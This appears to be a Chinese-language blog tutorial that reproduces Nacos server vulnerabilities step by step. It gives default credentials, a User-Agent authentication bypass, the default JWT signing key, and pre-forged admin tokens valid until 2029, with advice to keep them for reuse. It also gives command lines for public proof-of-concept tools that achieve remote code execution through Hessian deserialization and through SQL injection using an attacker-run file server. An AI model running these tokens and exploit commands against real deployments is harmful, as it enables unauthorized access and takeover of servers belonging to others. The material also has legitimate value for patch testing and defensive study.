Nacos安全漏洞全系列复现
Nacos安全漏洞全系列复现
TakakeNacos
环境搭建
启动路径 nacos/nacos-2.3.2/bin
启动命令
1
./startup.sh -m standalone
默认端口号 8888
1.默认口令
- 访问http://ip:8848/nacos/#/login进入登陆页面
- 默认口令为nacos/nacos
2.浏览器代理身份绕过(nacos<1.4.1)
- 将User-Agent: 更改为 Nacos-Server 即可绕过身份认证
- 以下为用户查询接口
添加用户接口
POST /nacos/v1/auth/users?username=takake&password=123456 HTTP/1.1
3.JWT伪造身份绕过(0.1.0<=nacos<=2.2.0)
3.1.原理
- nacos通过jwt进行身份认证,由于配置文件中存在默认jwt签名密钥,由于开发者安全意思不强,可能并未更换该签名密钥,导致可伪造jwt从而绕过身份认证。
- 配置文件中默认密钥为:SecretKey012345678901234567890123456789012345678901234567890123456789
- JWT例子:eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTA3MTgxMH0.7GxAECoXkD0l1nhfgpehIn6nypHrBe3FzBlwvVYY1f4
1 | //头部 |
可以使用https://jwt.io/ 网站进行位置(通常需要base64编码)
3.2.实际操作步骤
3.2.1.访问登陆接口
3.2.2.抓取登陆请求包
- 用户名和密码可以任意输入
3.2.3.添加授权自定义头
- 自定义请求头的值为Bearer [伪造的JWT值]
1 | Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcyMTA3MTgxMH0.7GxAECoXkD0l1nhfgpehIn6nypHrBe3FzBlwvVYY1f4 |
添加Authorization后放包,之后请求的包也直接转发即可,返回网页登陆成功。
小tip:由于未验证时间搓的长度,因此我们可以添加一个几年后的一个时间搓,这样下次则可以不用现场伪造,直接设置提前伪造好的JWT即可
2029年过期的JWT:Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg5MTA3MTgxMH0.eGXadXUaD2rzhbO17oGXx23O00GbU3alxX7Vjaswtvo
4.Nacos Hessian反序列化漏洞(1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3)
- nacos默认的7848端口是用来处理集群模式下raft协议的通信,该端口的服务在处理部分jraft请求的时候使用hessian传输协议进行反序列化过滤不严,导致rce
- nacos 1.x在单机模式下默认不开放7848端口,但是集群模式下受影响。
- 2.x版本无论单机还是集群均开放7848端口
- 主要受影响的是7848端口的Jraft服务。
- 当使用docker未映射7848端口时也不受影响
4.1.下载POC
- POC下载地址以及文档简介
https://github.com/c0olw/NacosRce
4.2.反序列化注入
- 需要使用JDK1.8
1 | java -jar NacosRce.jar http://192.168.10.128:8848/nacos 7848 "whoami" |
5.Nacos-Client Yaml反序列化(nacos<1.4.2)
而根据PR的描述内容可知实际上该漏洞只影响单独使用 nacos-client SDK的用户,原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener 监听配置,所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端。
https://xz.aliyun.com/t/10355
6.Nacos 基于SQL注入漏洞的RCE(目前所有版本,<2.4.0)
6.1复现
该漏洞是基于SQL注入而产生的RCE,其中需要开启一个文件服务。
POC基于python代码,需要下载相关依赖
Poc需要使用flask启动一个文件服务,用于目标反弹,进行上传一个java命令执行类,其中config.py用于配置反弹服务器的ip和端口号。
config.py
1 | server_host = '0.0.0.0' |
- service.py则用于启动文件服务,其中。
- 启动命令为
1 | python ./service.py |
- 而Nacos_Rce.py用于进行连续的SQL注入,爆破上传生成的临时文件名,进行命令执行。-u 后面接目标端口和ip,-c 后面接要执行的命令。
1 | python .\Nacos_Rce.py -t 启动文件服务的ip地址 -p 5000 -u http://xxx.xxx.xxx -c whoami |
- 当系统为未授权访问时,可直接触发RCE。
- 若显示未知用户或者未找到用户则表示,nacos启用了鉴权需要伪造JWT
- 若系统需要登陆验证需要使用JWT伪造绕过登陆授权(详情看第三部分,需要小于等于2.2.0版本),这里我们也可以使用提前伪造好的2029年才过期的JWT:
1 | Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg5MTA3MTgxMH0.eGXadXUaD2rzhbO17oGXx23O00GbU3alxX7Vjaswtvo |
- 在POC文件Nacos_Rce.py文件中设置请求头即可。
- 通过命令启动Nacos_Rce.py
6.2.注意
高版本token头为:AccessToken,低版本头为Authorization。
根据我目前的测试,只要能够绕过登陆授权,均可RCE。
若启用了登陆验证,需要使用JWT伪造,若无法伪造,知道用户名和密码,可以登陆获取token填入header中。